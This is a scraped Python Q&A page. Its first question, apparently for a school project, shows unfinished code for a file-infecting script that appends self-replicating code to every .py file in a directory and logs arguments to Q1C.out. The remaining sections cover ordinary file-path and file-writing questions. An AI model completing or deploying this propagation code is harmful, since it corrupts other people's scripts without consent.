How to implement infection functionality in a python script? - python

This is for a school project. I have a python script where the intention is to take every python script in the current working directory, and modify these scripts so they append their command line argument to a file (Q1C.out), and also modify these scripts so that when they run, it modifies scripts in their current working directory in the same way. Here is the (unfinished) code for this:
import os
import sys
# Isolate python scripts in curent working directory, only modify those ones
cwd = os.getcwd()
for filename in os.listdir(cwd):
if not filename.endswith('.py'):
continue
with open(filename) as f:
if 'Q1C.out' in f.read():
print(f'{filename} already infected')
continue
# Actual modification: write command line argument to 'Q1C.out'.
# Also, when modified script is run, it should modify all python scripts
# In it's current working directory the same way this file does.
with open(filename, 'a') as f:
f.write('\n\nimport os\nimport sys\n\n')
f.write('args = " ".join(sys.argv)\n')
f.write('cwd = os.getcwd()\n')
f.write('with open("Q1C.out", "a") as outfile:\n')
f.write(' outfile.write(f"{args}\\n")\n')
f.write('for filename in os.listdir(cwd):\n')
f.write(' if not filename.endswith(".py"):\n')
f.write(' continue\n')
f.write(' with open(filename, "a") as f:\n')
It is this 'infection' functionality where I get stuck. I can make it so when the original script is run, that it modifies every python script in the current working directory properly, but I'm not sure how I would make it so when the modified scripts run they also modify scripts in their directory the same way. If I need to re-explain any concept regarding the code or what it's supposed to do, please just let me know! Thank you!

Related

How do you write a new text file (and also an excel file) to your default directory or a specific directory using python?

I used the code below from Starting Out WIth Python 5th edition and I do not see a text file in the directory I specified. I used Jupyter notebook to run the code:
def main():
# Open a file named philosophers.txt.
outfile = open(r'C:\Users\ME\philosophers.txt', 'w')
# Write the names of three philosphers
# to the file.
outfile.write('John Locke\n')
outfile.write('David Hume\n')
outfile.write('Edmund Burke\n')
# Close the file.
outfile.close()
# Call the main function.
if __name__ == '_ _main_ _':
main()
I ran the code included in this post and all I see is a file called IPNYB in the directory. I suppose it is a Jupyter notebook file. I was expecting a plain old text file named philosophers.txt. Then I went into the directory I chose, created a text filed, named it "philosophers.txt" then I ran the python code and the text file was till empty and did not include the text I specified in the outfile.write methods.
Welcome to SO!
You should use os module to avoid trouble in cross-platform and do this:
import os
filename = "philosophers.txt"
x = os.path.join("C:/Users/ME", "filename")
with open(x, "w") as outfile:
outfile.write("John Locke\n")
outfile.write("David Hume\n")
outfile.write("Edmund Burke\n")
outfile.close
Hope this helps!

While trying to create a txt file with input it doesn't work

I wanted to create a program that saves the user input, im using sublime text 3 and python 3.9, when I run the program the text file with the user input is not appending in the folder that i saved my program
filename = "proba.txt"
name = input("Give me your name. ")
with open(filename, 'a') as f:
f.write(f" {name.title()}\n")
this is the code that i tried to run
sorry for not showing the code here but i ran into problems while trying to rewrite the code here (it was illegible).
The code works fine for me. But sometimes it makes sense to point a destination folder explicitly, just to be sure. I used to do it with pathlib module:
from pathlib import Path
current_folder = Path.cwd() # the folder from which the script was started
filename = current_folder / "proba.txt"
name = input("Give me your name. ")
with open(filename, "a") as f:
f.write(f" {name.title()}\n")
https://docs.python.org/3/library/pathlib.html
Update
As for your case, it looks like you're trying to run the code in VSCode via meny Run code or something like this. Alas, input() doesn't work this way. You need to use Run Python File in Terminal:
Or you can use cmd.exe or powershell or Terminal app and run the python code from there:
python make_file_proba.py
For MacOS it will be likely:
python3 make_file_proba.py

Regarding file io in Python

I mistakenly, typed the following code:
f = open('\TestFiles\'sample.txt', 'w')
f.write('I just wrote this line')
f.close()
I ran this code and even though I have mistakenly typed the above code, it is however a valid code because the second backslash ignores the single-quote and what I should get, according to my knowledge is a .txt file named "\TestFiles'sample" in my project folder. However when I navigated to the project folder, I could not find a file there.
However, if I do the same thing with a different filename for example. Like,
f = open('sample1.txt', 'w')
f.write('test')
f.close()
I find the 'sample.txt' file created in my folder. Is there a reason for the file to not being created even though the first code was valid according to my knowledge?
Also is there a way to mention a file relative to my project folder rather than mentioning the absolute path to a file? (For example I want to create a file called 'sample.txt' in a folder called 'TestFiles' inside my project folder. So without mentioning the absolute path to TestFiles folder, is there a way to mention the path to TestFiles folder relative to the project folder in Python when opening files?)
I am a beginner in Python and I hope someone could help me.
Thank you.
What you're looking for are relative paths, long story short, if you want to create a file called 'sample.txt' in a folder 'TestFiles' inside your project folder, you can do:
import os
f = open(os.path.join('TestFiles', 'sample1.txt'), 'w')
f.write('test')
f.close()
Or using the more recent pathlib module:
from pathlib import Path
f = open(Path('TestFiles', 'sample1.txt'), 'w')
f.write('test')
f.close()
But you need to keep in mind that it depends on where you started your Python interpreter (which is probably why you're not able to find "\TestFiles'sample" in your project folder, it's created elsewhere), to make sure everything works fine, you can do something like this instead:
from pathlib import Path
sample_path = Path(Path(__file__).parent, 'TestFiles', 'sample1.txt')
with open(sample_path, "w") as f:
f.write('test')
By using a [context manager]{https://book.pythontips.com/en/latest/context_managers.html} you can avoid using f.close()
When you create a file you can specify either an absolute filename or a relative filename.
If you start the file path with '\' (on Win) or '/' it will be an absolute path. So in your first case you specified an absolute path, which is in fact:
from pathlib import Path
Path('\Testfile\'sample.txt').absolute()
WindowsPath("C:/Testfile'sample.txt")
Whenever you run some code in python, the relative paths that will be generate will be composed by your current folder, which is the folder from which you started the python interpreter, which you can check with:
import os
os.getcwd()
and the relative path that you added afterwards, so if you specify:
Path('Testfiles\sample.txt').absolute()
WindowsPath('C:/Users/user/Testfiles/sample.txt')
In general I suggest you use pathlib to handle paths. That makes it safer and cross platform. For example let's say that your scrip is under:
project
src
script.py
testfiles
and you want to store/read a file in project/testfiles. What you can do is get the path for script.py with __file__ and build the path to project/testfiles
from pathlib import Path
src_path = Path(__file__)
testfiles_path = src_path.parent / 'testfiles'
sample_fname = testfiles_path / 'sample.txt'
with sample_fname.open('w') as f:
f.write('yo')
As I am running the first code example in vscode, I'm getting a warning
Anomalous backslash in string: '\T'. String constant might be missing an r prefix.
And when I am running the file, it is also creating a file with the name \TestFiles'sample.txt. And it is being created in the same directory where the .py file is.
now, if your working tree is like this:
project_folder
-testfiles
-sample.txt
-something.py
then you can just say: open("testfiles//hello.txt")
I hope you find it helpful.

Get script's location when called by another app?

How can my Python script reliably get its own location so it can write a file next to itself?
I made a Python script that writes a new file with some working statistics:
import os
NAME = __file__.split('/')[-1]
PATH = os.path.dirname(os.path.realpath(__file__))
PROPER_PATH = os.path.join(MY_PATH, MY_NAME)
with open(os.path.join(PATH, STATS_NAME), 'wb') as statsfile:
statsfile.write(mystats)
This works great and I can call it from anywhere and it writes the stats file in the same place, next to the script. Apart from when I call the script from a macro VBA script.
The script gets called okay but writes its data to:
"C:\Users\lsp\AppData\Roaming\Microsoft\Templates"
How do I make sure it writes to the correct path (same as the script path)?
As a work-around I can imagine giving the path as an argument and then providing it in the VBA but surely there's a Pythonic way to achieve the behavior?

How do I create a file at a specific path?

In python I´m creating a file doing:
f = open("test.py", "a")
where is the file created? How can I create a file on a specific path?
f = open("C:\Test.py", "a")
returns error.
The file path "c:\Test\blah" will have a tab character for the `\T'. You need to use either:
"C:\\Test"
or
r"C:\Test"
I recommend using the os module to avoid trouble in cross-platform. (windows,linux,mac)
Cause if the directory doesn't exists, it will return an exception.
import os
filepath = os.path.join('c:/your/full/path', 'filename')
if not os.path.exists('c:/your/full/path'):
os.makedirs('c:/your/full/path')
f = open(filepath, "a")
If this will be a function for a system or something, you can improve it by adding try/except for error control.
where is the file created?
In the application's current working directory. You can use os.getcwd to check it, and os.chdir to change it.
Opening file in the root directory probably fails due to lack of privileges.
It will be created once you close the file (with or without writing). Use os.path.join() to create your path eg
filepath = os.path.join("c:\\","test.py")
The file is created wherever the root of the python interpreter was started.
Eg, you start python in /home/user/program, then the file "test.py" would be located at /home/user/program/test.py
f = open("test.py", "a") Will be created in whatever directory the python file is run from.
I'm not sure about the other error...I don't work in windows.
The besty practice is to use '/' and a so called 'raw string' to define file path in Python.
path = r"C:/Test.py"
However, a normal program may not have the permission to write in the C: drive root directory. You may need to allow your program to do so, or choose something more reasonable since you probably not need to do so.
Use os module
filename = "random.txt"
x = os.path.join("path", "filename")
with open(x, "w") as file:
file.write("Your Text")
file.close

Categories